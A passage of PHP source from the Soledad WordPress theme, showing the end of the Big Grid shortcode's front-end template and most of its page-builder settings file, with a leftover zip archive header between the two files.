						<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail ), get_the_title(), ! $disable_lazy ); ?>
                    </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>
						<?php if ( in_array( 'cat', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="pcbg-above item-hover">
							<span class="cat pcbg-sub-title">
								<?php penci_category( '', $primary_cat ); ?>
							</span>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'title', $post_meta ) ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
                                            href="<?php the_permalink(); ?>"><?php if ( ! $title_length ) {
											the_title();
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( $cspost_enable || ! $hide_meta_small_flag && count( array_intersect( array(
								'author',
								'date',
								'comment',
								'views',
								'reading'
							), $post_meta ) ) > 0 ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
									<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                        <span class="bg-date-author author-italic author vcard">
										<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
												penci_coauthors_posts_links();
											else: ?>
                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											<?php endif; ?>
									</span>
									<?php endif; ?>
									<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                        <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                        <span class="bg-comment">
										<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
									</span>
									<?php endif; ?>
									<?php
									if ( in_array( 'views', $post_meta ) ) {
										echo '<span>';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
									<?php echo penci_show_custom_meta_fields( [
										'validator' => $cspost_enable,
										'keys'      => $cspost_cpost_meta,
										'acf'       => $cspost_cpost_acf_meta,
										'label'     => $cspost_cpost_meta_label,
										'divider'   => $cspost_cpost_meta_divider,
									] ); ?>
									<?php
									$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
									if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                        <span class="bg-readtime"><?php penci_reading_time(); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
                            </div>
						<?php } ?>

						<?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php the_permalink(); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
									<?php if ( $readmore_icon ):
										vc_icon_element_fonts_enqueue( 'fontawesome' );
										echo '<i class="penci-cup_iconn--i ' . $readmore_icon . '"></i>';
									endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     N\{M  M  0  inc/js_composer/shortcodes/big_grid/settings.phpnu [        <?php
$group_color  = 'Typo & Color';
$group_custom = 'Custom Grid Items';
vc_map( array(
	'base'          => 'penci_big_grid',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/big_grid/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Big Grid', 'soledad' ),
	'description'   => __( 'Posts Big Grid', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Query Type:', 'soledad' ),
			'value'      => array(
				esc_html__( 'Base Post', 'soledad' ) => 'post',
				esc_html__( 'Custom', 'soledad' )    => 'custom',
			),
			'std'        => 'post',
			'param_name' => 'bgquery_type',
		),
		array(
			'type'        => 'loop',
			'heading'     => '',
			'param_name'  => 'build_query',
			'value'       => 'post_type:post|size:10',
			'settings'    => array(
				'size'      => array( 'value' => 10, 'hidden' => false ),
				'post_type' => array( 'value' => 'post', 'hidden' => false )
			),
			'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Select Style for This Slider', 'soledad' ),
			'value'      => array(
				esc_html__( 'Grid ( Default )', 'soledad' ) => 'style-1',
				esc_html__( 'Masonry', 'soledad' )          => 'style-2',
				esc_html__( 'Style 3', 'soledad' )          => 'style-3',
				esc_html__( 'Style 4', 'soledad' )          => 'style-4',
				esc_html__( 'Style 5', 'soledad' )          => 'style-5',
				esc_html__( 'Style 6', 'soledad' )          => 'style-6',
				esc_html__( 'Style 7', 'soledad' )          => 'style-7',
				esc_html__( 'Style 8', 'soledad' )          => 'style-8',
				esc_html__( 'Style 9', 'soledad' )          => 'style-9',
				esc_html__( 'Style 10', 'soledad' )         => 'style-10',
				esc_html__( 'Style 11', 'soledad' )         => 'style-11',
				esc_html__( 'Style 12', 'soledad' )         => 'style-12',
				esc_html__( 'Style 13', 'soledad' )         => 'style-13',
				esc_html__( 'Style 14', 'soledad' )         => 'style-14',
				esc_html__( 'Style 15', 'soledad' )         => 'style-15',
				esc_html__( 'Style 16', 'soledad' )         => 'style-16',
				esc_html__( 'Style 17', 'soledad' )         => 'style-17',
				esc_html__( 'Style 18', 'soledad' )         => 'style-18',
				esc_html__( 'Style 19', 'soledad' )         => 'style-19',
				esc_html__( 'Style 20', 'soledad' )         => 'style-20',
				esc_html__( 'Style 21', 'soledad' )         => 'style-21',
				esc_html__( 'Style 22', 'soledad' )         => 'style-22',
			),
			'std'        => 'style-1',
			'param_name' => 'style',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Grid/Masonry Style Columns', 'soledad' ),
			'value'      => array(
				esc_html__( '1 Column', 'soledad' )  => '1',
				esc_html__( '2 Columns', 'soledad' ) => '2',
				esc_html__( '3 Columns', 'soledad' ) => '3',
				esc_html__( '4 Columns', 'soledad' ) => '4',
				esc_html__( '5 Columns', 'soledad' ) => '5',
				esc_html__( '6 Columns', 'soledad' ) => '6'
			),
			'std'        => '3',
			'param_name' => 'bg_columns',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Grid/Masonry Style Columns on Tablet', 'soledad' ),
			'value'      => array(
				esc_html__( 'Default', 'soledad' )   => '',
				esc_html__( '1 Column', 'soledad' )  => '1',
				esc_html__( '2 Columns', 'soledad' ) => '2',
				esc_html__( '3 Columns', 'soledad' ) => '3',
				esc_html__( '4 Columns', 'soledad' ) => '4',
			),
			'std'        => '',
			'param_name' => 'bg_columns_tablet',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
			'value'      => array(
				esc_html__( '1 Column', 'soledad' )  => '1',
				esc_html__( '2 Columns', 'soledad' ) => '2',
				esc_html__( '3 Columns', 'soledad' ) => '3',
			),
			'std'        => '1',
			'param_name' => 'bg_columns_mobile',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'checkbox',
			'heading'    => __( 'Showing Post Data', 'soledad' ),
			'value'      => array(
				esc_html__( 'Categories', 'soledad' )   => 'cat',
				esc_html__( 'Title', 'soledad' )        => 'title',
				esc_html__( 'Author', 'soledad' )       => 'author',
				esc_html__( 'Date', 'soledad' )         => 'date',
				esc_html__( 'Comments', 'soledad' )     => 'comment',
				esc_html__( 'Views', 'soledad' )        => 'views',
				esc_html__( 'Reading Time', 'soledad' ) => 'reading',
			),
			'std'        => 'cat,title,author,date',
			'param_name' => 'bg_postmeta',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Custom Title Words Length', 'soledad' ),
			'std'        => 10,
			'param_name' => 'title_length',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Primary Category Only', 'soledad' ),
			'param_name'  => 'primary_cat',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Categories on Small Grid Items', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_cat_small',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Meta( Author, Date.. ) on Small Grid Items', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_meta_small',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Categories/Sub Title on Mobile', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_subtitle_mobile',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Meta/Description on Mobile', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_desc_mobile',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Read More Button', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'param_name'  => 'show_readmore',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Read More Button on Small Grid Items', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'param_name'  => 'hide_rm_small',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Read More Button on Mobile', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'param_name'  => 'hide_readmore_mobile',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Post Format Icons', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'show_formaticon',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Excerpt Length', 'soledad' ),
			'param_name' => 'excerpt_length',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Only Post Excerpt on Small Grid Items', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_excerpt_small',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Post Format Icon Position', 'soledad' ),
			'value'      => array(
				esc_html__( 'Top Right', 'soledad' )    => 'top-right',
				esc_html__( 'Top Left', 'soledad' )     => 'top-left',
				esc_html__( 'Bottom Right', 'soledad' ) => 'bottom-right',
				esc_html__( 'Bottom Left', 'soledad' )  => 'bottom-left',
				esc_html__( 'Center', 'soledad' )       => 'center',
			),
			'std'        => 'top-right',
			'param_name' => 'formaticon_pos',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'show_reviewpie',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Review Scores Position', 'soledad' ),
			'value'      => array(
				esc_html__( 'Top Right', 'soledad' )    => 'top-right',
				esc_html__( 'Top Left', 'soledad' )     => 'top-left',
				esc_html__( 'Bottom Right', 'soledad' ) => 'bottom-right',
				esc_html__( 'Bottom Left', 'soledad' )  => 'bottom-left',
				esc_html__( 'Center', 'soledad' )       => 'center',
			),
			'std'        => 'top-left',
			'param_name' => 'reviewpie_pos',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Display One Column on Mobile?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'onecol_mobile',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'sameh_mobile',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Big Grid Content Position', 'soledad' ),
			'value'      => array(
				esc_html__( 'On Image', 'soledad' )    => 'on',
				esc_html__( 'Below Image', 'soledad' ) => 'below',
				esc_html__( 'Above Image', 'soledad' ) => 'above',
			),
			'std'        => 'on',
			'param_name' => 'bgcontent_pos',
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Gap Between Grid & Masonry Items', 'soledad' ),
			'std'        => '',
			'param_name' => 'bg_gap',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Gap Between Items', 'soledad' ),
			'std'        => '',
			'param_name' => 'bg_othergap',
			'dependency' => array( 'element' => 'style', 'value_not_equal_to' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
			'std'        => '',
			'param_name' => 'penci_img_ratio',
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Custom Big Grid Height (Unit is px)', 'soledad' ),
			'std'        => '',
			'param_name' => 'bg_height',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Disable Lazyload Images?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'yes',
			'std'         => 'yes',
			'param_name'  => 'disable_lazy',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Page Navigation Style', 'soledad' ),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
			'value'       => array(
				esc_html__( 'None', 'soledad' )                    => 'none',
				esc_html__( 'Page Navigation Numbers', 'soledad' ) => 'numbers',
				esc_html__( 'Load More Posts Button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinite Scroll', 'soledad' )         => 'scroll',
				esc_html__( 'Next/Previous', 'soledad' )           => 'nextprev',
			),
			'std'         => 'none',
			'param_name'  => 'paging',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Page Navigation Align', 'soledad' ),
			'value'      => array(
				esc_html__( 'Center', 'soledad' ) => 'align-center',
				esc_html__( 'Left', 'soledad' )   => 'align-left',
				esc_html__( 'Right', 'soledad' )  => 'align-right',
			),
			'std'        => 'align-center',
			'param_name' => 'paging_align',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Margin Top for Page Navigation', 'soledad' ),
			'std'        => '',
			'param_name' => 'paging_matop',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
	), Penci_Vc_Params_Helper::params_heading(), Penci_Vc_Params_Helper::params_heading_typo_color(),

		/* Custom */

		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_cs_items',
				'heading'          => __( 'Custom Grid Items', 'soledad' ),
				'description'      => __( 'Add your custom grid item here', 'soledad' ),
				'group'            => $group_custom,
				'dependency'       => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'param_group',
				'param_name' => 'biggrid_items',
				'heading'    => esc_html__( 'Custom Grid Items', 'soledad' ),
				'group'      => $group_custom,
				'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'custom' ) ),
				'value'      => urlencode( json_encode( array(
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #1', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #2', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #3', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #4', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #5', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #6', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
				) ) ),
				'params'     => array(
					array(
						'type'       => 'attach_image',
						'holder'     => 'img',
						'class'      => '',
						'heading'    => __( 'Select Image', 'soledad' ),
						'param_name' => 'image',
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Sub title', 'soledad' ),
						'param_name' => 'sub_title',
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Title', 'soledad' ),
						'param_name' => 'title',
					),
					array(
						'type'       => 'vc_link',
						'heading'    => __( 'Add Link for Title & Image', 'soledad' ),
						'param_name' => 'title_link',
					),
					array(
						'type'       => 'textarea',
						'heading'    => __( 'Description', 'soledad' ),
						'param_name' => 'desc',
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Button Text', 'soledad' ),
						'param_name' => 'button_text',
					),
					array(
						'type'       => 'vc_link',
						'heading'    => __( 'Button Link', 'soledad' ),
						'param_name' => 'button_link',
					),

					/* Style */ array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Custom Style ?', 'soledad' ),
						'param_name'  => 'custom_style',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'yes',
						'std'         => 'yes',
					),

					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Horizontal Position', 'soledad' ),
						'param_name'       => 'horizontal_position',
						'value'            => array(
							esc_html__( 'Center', 'soledad' ) => 'align-center',
							esc_html__( 'Left', 'soledad' )   => 'align-left',
							esc_html__( 'Right', 'soledad' )  => 'align-right',
						),
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-4',
					),

					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Verical Position', 'soledad' ),
						'param_name'       => 'vertical_position',
						'value'            => array(
							esc_html__( 'Top', 'soledad' )    => 'top',
							esc_html__( 'Middle', 'soledad' ) => 'middle',
							esc_html__( 'Bottom', 'soledad' ) => 'bottom',
						),
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-4',
					),

					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Text Align', 'soledad' ),
						'param_name'       => 'text_align',
						'std'              => 'align-left',
						'value'            => array(
							esc_html__( 'Center', 'soledad' ) => 'align-center',
							esc_html__( 'Left', 'soledad' )   => 'align-left',
							esc_html__( 'Right', 'soledad' )  => 'align-right',
						),
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-4',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Sub Title Color', 'soledad' ),
						'param_name'       => 'subtitle_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Title Color', 'soledad' ),
						'param_name'       => 'title_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Title Hover Color', 'soledad' ),
						'param_name'       => 'title_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Description Color', 'soledad' ),
						'param_name'       => 'desc_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Text Color', 'soledad' ),
						'param_name'       => 'button_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Text Hover Color', 'soledad' ),
						'param_name'       => 'button_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Border Color', 'soledad' ),
						'param_name'       => 'button_border_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Border Hover Color', 'soledad' ),
						'param_name'       => 'button_border_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Background Color', 'soledad' ),
						'param_name'       => 'button_bg_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Background Hover Color', 'soledad' ),
						'param_name'       => 'button_bg_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'textfield',
						'heading'          => __( 'Content Text Padding', 'soledad' ),
						'param_name'       => 'bgoverlay_padding',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'textfield',
						'heading'          => __( 'Content Text Margin', 'soledad' ),
						'param_name'       => 'bgoverlay_margin',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),
				),
			),
		),

		/* end custom */

		array(
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Custom Image Size', 'soledad' ),
				'param_name' => 'thumb_size',
				'std'        => 'penci-masonry-thumb',
				'group'      => 'Other',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Image Size for Big Items', 'soledad' ),
				'param_name' => 'bthumb_size',
				'std'        => 'penci-masonry-thumb',
				'group'      => 'Other',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Custom Image Size for Mobile', 'soledad' ),
				'param_name' => 'mthumb_size',
				'std'        => 'penci-masonry-thumb',
				'group'      => 'Other',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			),
		),

		/* Color */ array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgstyle_',
				'heading'          => esc_html__( 'Big Grid Style', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Horizontal Position', 'soledad' ),
				'param_name' => 'content_horizontal_position',
				'std'        => 'left',
				'value'      => array(
					esc_html__( 'Center', 'soledad' ) => 'center',
					esc_html__( 'Left', 'soledad' )   => 'left',
					esc_html__( 'Right', 'soledad' )  => 'right',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Vertical Position', 'soledad' ),
				'param_name' => 'content_vertical_position',
				'value'      => array(
					esc_html__( 'Top', 'soledad' )    => 'top',
					esc_html__( 'Middle', 'soledad' ) => 'middle',
					esc_html__( 'Bottom', 'soledad' ) => 'bottom',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Align', 'soledad' ),
				'param_name' => 'content_text_align',
				'std'        => 'left',
				'value'      => array(
					esc_html__( 'Center', 'soledad' ) => 'center',
					esc_html__( 'Left', 'soledad' )   => 'left',
					esc_html__( 'Right', 'soledad' )  => 'right',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Display', 'soledad' ),
				'param_name' => 'content_display',
				'value'      => array(
					esc_html__( 'Block', 'soledad' )        => 'block',
					esc_html__( 'Inline Block', 'soledad' ) => 'inline-block',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Content Text Max-Width', 'soledad' ),
				'param_name' => 'content_width',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Content Text Padding', 'soledad' ),
				'param_name' => 'content_padding',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Content Text Margin', 'soledad' ),
				'param_name' => 'content_margin',
				'group'      => $group_color,
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgoverlay',
				'heading'          => __( 'Big Grid Overlay', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Apply Overlay On:', 'soledad' ),
				'param_name' => 'overlay_type',
				'value'      => array(
					esc_html__( 'Whole', 'soledad' )              => 'whole',
					esc_html__( 'Whole Content Text', 'soledad' ) => 'text',
					esc_html__( 'None', 'soledad' )               => 'none',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Overlay Opacity(%)', 'soledad' ),
				'param_name' => 'overlay_opacity',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Overlay Hover Opacity(%)', 'soledad' ),
